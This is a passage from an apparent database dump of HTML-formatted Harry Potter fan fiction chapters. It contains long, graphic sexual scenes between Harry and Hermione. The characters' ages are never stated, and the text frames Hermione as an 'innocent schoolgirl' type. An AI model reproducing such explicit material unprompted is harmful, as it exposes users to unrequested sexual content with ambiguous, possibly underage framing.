fingers and traced her\nfull lips with his index finger.&nbsp; They were still swollen from his kisses\nand the amount of sensations she had felt all through her body.&nbsp;&nbsp; He\nthen rested his head back down against her chest.&nbsp; Harry reached for the\nblanket and pulled it over the both of them.&nbsp; Soon after, he too was\nasleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">========</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Okay that&#8217;s it\nfor chapter 6 I hope I made up for what I did to you guys cutting you off in\nthe kiss last week.&nbsp; Do you forgive me?&nbsp; Stay tuned for Chapter 7</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">Disclaimer: :&nbsp; No way are any of the original HP characters\nmine they totally belong to J.K. Rowlings.&nbsp;\nYou are nuts to even think that I own this, where do you people get your\ninformation. Honestly :)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nOne Hot Summer&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChapter 7&#8212; The Morning After</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nbackground:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry bolted up\nstraight from a sound sleep; the light pinks had just begun to make an\nappearance over the horizon.&nbsp; He turned a\nbit and found Hermione still sleeping.&nbsp;\n&#8220;Hermione,&#8221; He shook her gently speaking softly into her ear, &#8220;Hermione\nwake up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione was on\nher side and turned over, &#8220;Harry? What is it?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I think we made\na mistake.&#8221;</p>\n\n<p class="MsoBodyTextIndent">She\nshook her head, &#8220;What?&#8221;&nbsp; Even though it\nwas really early she still comprehended everything he said and her eyes\nnarrowed.&nbsp; &#8220;What?&#8221; She asked again just\nto be sure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry was able to\nsee the look of disbelief and betrayal in her eyes.&nbsp; &#8220;No, no.&#8221; He said quickly.&nbsp; &#8220;It&#8217;s not what your thinking, we are\ndefinitely not a mistake. It&#8217;s the fact that we didn&#8217;t perform any spell so\nthat you couldn&#8217;t get pregnant. And we didn&#8217;t even use any Muggle form of birth\ncontrol either.&#8221; Harry was worried, he didn&#8217;t want to be the one to ruin her\nyouth with bringing a child into the world.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh relax Harry,\neverything was taken care of before you came in here.&#8221; She said turning over back\non her side, still looking at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry grinned,\n&#8220;Why you little sneak.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione smiled a\nlittle, &#8220;Well I didn&#8217;t know when you would visit me the spell lasts for a good\nsix weeks.&#8221; She said with a wink, &#8220;So I did the spell last night just to play\nit safe.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry nodded in\nunderstanding; he wanted to stay there all night with her. But Ron would\ncertainly have questions if he wasn&#8217;t there in the morning.&nbsp; He didn&#8217;t want his friend to find out the\nhard way that his two other friends were close. This would leave Ron feeling\nlike the third wheel or uncomfortable around them.&nbsp; He wanted his best friend to be used to the\nidea and come to accept it. &#8220;I really should get back to Ron&#8217;s room; do you\nthink he noticed I was gone?&#8221; Harry said as he bent over the side and slipped\ninto his underwear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I just hope we\ndidn&#8217;t wake anyone up that is my biggest concern.&#8221; Hermione said quietly as she\nwatched Harry putting his shirt on over his head.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry crawled\nalong the floor feeling around in the semi-darkness for his glasses.&nbsp; He found the glasses and placed them on.&nbsp; He stood and looked down at Hermione whose\neyes were gently drifting closed.&nbsp; He\nwalked back to the bed and bent down placing a gentle kiss to her lips.&nbsp; &#8220;Good night.&#8221; He whispered and picked up the\nrest of his clothing and shoes. Harry quietly started for the door, he opened\nit and looked up and down the hall and slipped outside.&nbsp; He closed the door behind him and swiftly\nhurried across the hall and opened the door to Ron&#8217;s room.&nbsp; Harry crept inside.&nbsp; The door was closed behind him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Three fairies\ncame from around the corner lightly giggling; they flew quickly about\nHermione&#8217;s door, removing the silencing spell that was on the room.&nbsp; There was no way they were going to allow any\ninterruptions to happen, while this was happening the three fairies in Ron&#8217;s\nroom were sprinkling him with some pink sparkly dust removing the sleeping\nspell that was on him.&nbsp; They darted\ntowards the window and sat on the windowsill.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron tossed and\nturned then finally sat up rubbing his eyes, he was relieved that he had no\nhorrible nightmares. He leaned over and lit the lamp to get a little more light\nin the room.&nbsp; He looked over at Harry&#8217;s\nbed.&nbsp; Ron noticed Harry was asleep with\nsome sort of goofy grin plastered across his face.&nbsp; He wondered what his friend was dreaming\nabout.&nbsp; A fairy dropped down from the\nceiling and blew out the lamp, she giggled and darted away.&nbsp; Ron just shrugged and lay back down against\nhis pillow to get more sleep&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron woke to the\nsounds of chirping birds; he glanced at the clock that said nine O&#8217;clock.&nbsp; He sat up and stretched. Ron could smell the\nbreakfast scent floating about the room.&nbsp;\nHis stomach was complaining so he got up and threw on an old black shirt\nand a pair of jeans. Ron loved Muggle clothing; he wondered why the Wizarding\ncommunity just didn&#8217;t switch over.&nbsp; He\nnoticed that Harry wasn&#8217;t in his bed.&nbsp;\nHe&#8217;s probably down at breakfast.&nbsp;\nRon raced to the bathroom and quickly drug a comb through his hair, and\nbrushed his teeth.&nbsp; He then made his way\ndown to the kitchen</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Mrs. Weasley saw\nher son come into the kitchen, &#8220;You&#8217;re up awfully late dear.&#8221; She said with a\nsmile.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What do you\nmean? It&#8217;s only nine.&#8221; Ron was confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No dear it\nisn&#8217;t, it&#8217;s nearly noon.&#8221; She kept in her chuckle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron&#8217;s eyes\nnarrowed and he heard giggling coming from the archway.&nbsp; He turned his head and found the fairies\nwaving at him with smirks on their faces, he ran towards them and the fairies\ntook off each giving off a little shriek they flew way too high for Ron to\nreach. &#8220;I&#8217;ll kill you stupid fairies if it&#8217;s the last thing I ever do.&#8221; He\nshouted throwing his fist up in the air shaking it at them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Is my little\nRonniekins sick, do you need to see a doctor?&#8221; Mrs. Weasley asked as she came\nover to him pressing her hand against his forehead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No Mum, I&#8217;m\nfine, I&#8217;m fine.&#8221; He pushed his mothers hand away from his face as she tried to\nsmother him with motherly affection.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Mrs. Weasley\nstopped her assault and Ron stepped away from her, &#8220;Where&#8217;s Harry and\nHermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh they went out\nside.&#8221; Mrs. Weasley said as she walked back into the kitchen and bent half way\nover the counter and continued to read her Better Witches n&#8217; Health cookbook.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron quickly raced\ntowards the screen door and bolted through it, &#8216;<i style="mso-bidi-font-style:\nnormal">Where in the world could they be?&#8217;</i> Ron thought.&nbsp; He looked in both directions, and started off\ntowards the right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hey Harry check\nthis one out, this one is really pretty.&#8221; Hermione said as she pointed to the\nflower with a butterfly on it, its wings changed colors and it was fascinating\nto see.&nbsp; She started writing on the\nscroll.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well I still\nlike the purple and green one better.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione sat her\nbook down on the grass and looked over at him, &#8220;Are you sure you&#8217;re not bored\nof helping me look for butterflies?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well it is for\nan important class Hermione, I just don&#8217;t understand what made you decide to\nget into Entomology?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione got down\nlow so that her rear end was up in the air; she put her face near the ground\nand studied a beetle with green and red stripes. &#8220;Let&#8217;s just say I have a\nfascination with insects, I always have.&nbsp;\nI know most girls go running and screaming from anything creepy and\ncrawly, but me on the other hand I love insects, they have a whole interesting\nsociety.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry turned\naround and faced her, seeing her in that position made him a little warm, he\ncoughed. &#8220;Hermione, could you not do that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Could I not do\nwhat?&#8221; She asked still studying the beetle. Then lifted her eyes to look at\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;That.&#8221; He\npointed to her rear end up in the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry I need to\nstudy the insects and I have to kneel like this, sorry if it makes you a bit uncomfortable,\nbut it has to be done.&#8221; Hermione said, then she smirked, &#8220;and then maybe I&#8217;m\njust doing this to torment you, you will never know.&#8221;&nbsp; Hermione lifted herself onto her knees, so\nthat she kneeling upright.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry walked over\nto her and bent sitting in the same position she was, &#8220;You know for someone as\ninnocent as you are, you sure know how to tease a poor guy.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;How innocent do\nyou think I am?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Very.&#8221; He moved\ncloser to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;And are you\ngoing to be the one to corrupt my very innocent mind?&#8221; She let her eyes fall\ninnocently away from his after a few seconds she met his gaze once more.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry closed the\ndistance between them &#8220;Oh I hope so.&#8221; He said with a grin.&nbsp; Harry moved in capturing her mouth with\nhis.&nbsp; He felt her arms around him and\npulling him against her.&nbsp; His lips\npressed harder against hers and he felt her tongue touch his, which caused his\narms to tighten around her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He gently pressed\nher down against the soft grass, kissing her hard but gently.&nbsp; He felt her hands roaming about his back and\nfinally her fingers reaching up into his hair. Harry gave a soft moan into her\nmouth, and let his hand travel down over her shirt barely brushing against her\nbreast.&nbsp; He shifted a bit and his hand found\nits way underneath her shirt and upon the soft material covering her round,\nfirm breast.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione gasped\nfeeling his hand on her breast that she squirmed a bit trying to feel more, her\nblasted brassiere was in the way.&nbsp; She\nwished she had enough nerve to just tear it from her body.&nbsp; Harry lifted his mouth from hers and pressed\nhis lips against the side of her neck and then back again over her chin he\npulled back a minute and Hermione reached up and removed his glasses and set\nthem next to her.&nbsp; Harry moved a bit and\nhe quickly lifted the hem of her shirt and pulled the clothing off of her, in\nan instant her brassiere was soon to follow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She felt his\nhands on her breasts, Hermione breathed in a short breath as she felt her\nheartbeat quicken at his gentle touch.&nbsp;\nHermione gave a soft gasp when she felt his lips cover over the\nsensitive tip of her breast. With his hand he teased her other breast by\nlightly tracing his fingers around the curve, over the nipple where the tips of\nhis finger barely touched her.&nbsp; She knew\nhe was teasing her like this, the frustration kept building.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s mouth\nmoved from her breast and he lifted his head looking at her, &#8220;Hermione&#8230;open\nyour eyes.&#8221; He said in short breaths.&nbsp;\nHarry saw her eyes flutter open and intensely held her gaze while his\nhand wandered down over her flat belly he came to another offending garment, if\nhe had it his way they would never wear clothing at all.&nbsp; He brought his other hand down and very\nslowly unbuttoned her shorts.&nbsp; He heard\nher groan her frustration and he smiled a bit.&nbsp;\nHe loved being able to torture her like this, besides she what fun would\nit be if it was always quick.&nbsp; What a\npain it would be if someone came along and spoiled their time together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron continued to\nwalk over the property; well they were nowhere at this end of the property.&nbsp; So he decided to take a look on the other\nside.&nbsp; He called out for them several\ntimes but he got no answer.&nbsp; He started\nwalking about the property some more, he felt the ground tremble a little, he\nshrugged and kept walking forward.&nbsp; The\nground trembled again.&nbsp; This time Ron\nheard an angry snarling to the left of him, he slowly turned his head and saw a\nsight worse than in his dreams.&nbsp; There\nstood a very large, drooling furry brown spider.&nbsp; He stared for a moment, and then let out a\nvery loud ear-piercing scream.&nbsp; His voice\nwas high pitched and feminine sounding as he turned around and fled in the\nopposite direction, the spider was chasing after him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">What he didn&#8217;t\nsee were four fairies who were high fiving each other as Ron was running away\nscreaming like a wild banshee.&nbsp; Three\nfairies followed slowly after him, while the other three made sure that no one\ncame across and ruined their plans of true love.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Are you sure\nthis is what you want?&#8221; Harry said looking into her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes.&#8221; She\nbreathed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s hand was\nbetween her thighs almost touching her; he barely let his fingers brush over\nthe hidden jewel of her body.&nbsp; &#8220;Say you\nlove me.&#8221; He said softly and he let his finger touch her just a little bit more\ncausing her to cry out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione&#8217;s\nemotions where overwhelming her, and she took in a breath, &#8220;I&#8212;I love you.&#8221; She\nsaid her voice an enchanting melody.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He wanted to hear\nthose words from her for the rest of his life, Harry leaned in more so his lips\nwhere mere inches from hers &#8220;Tell me you want me.&#8221; His lips brushed lightly\nover hers and he pulled back a bit staring deeply into her eyes as if seeking\nout the inner depths of her soul.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I want you\nHarry, I want you to love me.&#8221; Hermione&#8217;s voice was shaking with need; she felt\nhis fingers completely touching her, rousing her desire.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I do love you\nHermione,&#8221; Harry brought his mouth down against hers, kissing her with such a\nwant and need of her.&nbsp; His tongue\ndesperately seeking out hers in a frantic heat of hunger.&nbsp; Hunger to have her all to himself.&nbsp; For her heart to belong to him as his\nbelonged to her.&nbsp;&nbsp; Harry loved this\nfeeling; he never wanted this to be over.&nbsp;&nbsp;&nbsp;\nWhile he was still kissing her, his hand and fingers were still in\nbetween her thighs.&nbsp; His fingers\ncaressing the delicate folds of her sex, teasing and tantalizing the sensitive\nbutton causing her gasps and cries to grow with the increasing pounding of her\nheart.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione couldn&#8217;t\nkeep her cries of pleasure to herself, she felt him pull his hand away from\nher.&nbsp; She groaned again in her bitter\nfrustration and buildup of wanting more.&nbsp;\nHer eyes brimming with the tears of her longing and need.&nbsp; She so wanted to relieve the aching strain of\nher need to feel release, so she attempted to bring her own hand down but Harry\ncaught it before her hand reached its destination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh no you don&#8217;t\nlove,&#8221; He supposed his torture worked a little too well.&nbsp; Harry felt really bad for making her feel\nlike she would have to take care of herself.&nbsp;&nbsp;\n&#8220;I&#8217;ll take care of you. I promise.&#8221; He said in soothing tones as he\npositioned himself against the entrance of her body.&nbsp; Harry looked down at her; her eyes were\nclosed tight as he saw tears trickle out of her eyes.&nbsp; Now he really felt bad. &#8220;I am so sorry\nHermione, please don&#8217;t cry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8212;I can&#8217;t help\nit. I just need&#8212;my emotions are all messed up.&#8221; She said with a soft smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry smiled, &#8220;I\nknow this is a powerful feeling, it tends to control us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione nodded,\n&#8220;Please don&#8217;t think that it&#8217;s anything you&#8217;ve done that&#8217;s making me cry, I just\nnever felt like this so all my emotions are running amok.&#8221; She laughed\nlightly.&nbsp; She waited a few moments and\nbefore Harry had a chance to do anything she pressed her lower body against his\nand he slid inside her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He was breathing\nhard feeling her snug around him, &#8220;I take it you want to continue?&#8221; Harry said\nwith a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes.&#8221; She\nbreathed out in a soft whisper.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry bent down\ncovering her mouth with his, kissing her.&nbsp;\nHe started moving himself in and out of her gently.&nbsp; He still had to be somewhat careful in the\nbeginning.&nbsp; But her body was so warm and\ninviting. He felt the silky folds of her closing around him that he let out a\ngasp of his own, he listened to her cries of pleasure with every thrust into\nher.&nbsp; He so wanted to please her, so he\nslowed his rhythm just a bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione held on\nto him tightly as she kissed him back with such a fiery want and need that she\nno longer had control of what she was doing, her body was in control; her mind\nhad gone on holiday.&nbsp; Her tongue was\nattacking his in such a rush of heat, hard and powerfully his tongue dueled\nalong with hers as if fighting for control. Their mouths were pressing harder\nagainst each other&#8217;s.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;She felt his body move harder and stronger\ninto hers she pulled her mouth from his.&nbsp;\nHer arms went around him as he slid further and further into her, harder\nand faster he moved.&nbsp; She pressed herself\nup so tightly against him, wanting, needing to reach the end.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry felt her\nlegs clamp around his waist as he drove into her, she seemed to want more and\nmore so he gave up on being soft and gentle, that wasn&#8217;t what she wanted.&nbsp; Innocent or not his Hermione wanted her needs\nfulfilled and he would give her exactly what she wanted.&nbsp; As he thrust harder into her slick hot body,\nhe felt her mouth against his neck, her lips on his throat.&nbsp; He could hear her breathing in his ear as\nthat pushed him more and more. She made beautiful sounds. Beautiful cries and\ngasps.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">As Harry\ncontinued pleasing her, he felt her body closing around him harder and tighter.\nShe was approaching her edge, he could feel it.&nbsp;\nHe picked up his pace a little bit more, driving in her as hard as he\ncould. Her hands clutched at him, grabbing at his shoulders so hard that her\nfingernails dug into his skin.&nbsp; Her back\narched so far off the ground that it appeared that she might break something;\nher wild scream of pleasure seemed to drown out every sound around them. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Her body was\ntight around him, so very tight that he felt himself approach his edge, with\nanother hard plunge deep into her soft warmth, he let out a cry equal to\nHermione&#8217;s she was still calming down from her visit to the heavens.&nbsp; Completely exhausted he practically fell on\nher, almost crushing her under him.&nbsp; He\nlisted quietly to the sounds of her heart, which was slowing to a more normal\npace.&nbsp; He lifted up a bit and rested his\nchin on his hands looking at her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Out of all the\nrelationships he&#8217;s had this one wasn&#8217;t even in that category, it was far better\nthan anything he had ever known.&nbsp; He had\nheard from Sirius to watch out for those innocent schoolgirl types, they were\nalways the ones you would least expect to have that much energy, it was always\ndifficult to give them exactly what they wanted.&nbsp; &#8220;Did I hurt you any?&#8221; Harry asked with\nconcern, thinking that maybe he was just a little too rough with her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione smiled,\n&#8220;No, what makes you think that you did?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry rolled over\non his back, taking Hermione with him so that her head was lying on his\nchest.&nbsp; &#8220;Well I was going a little 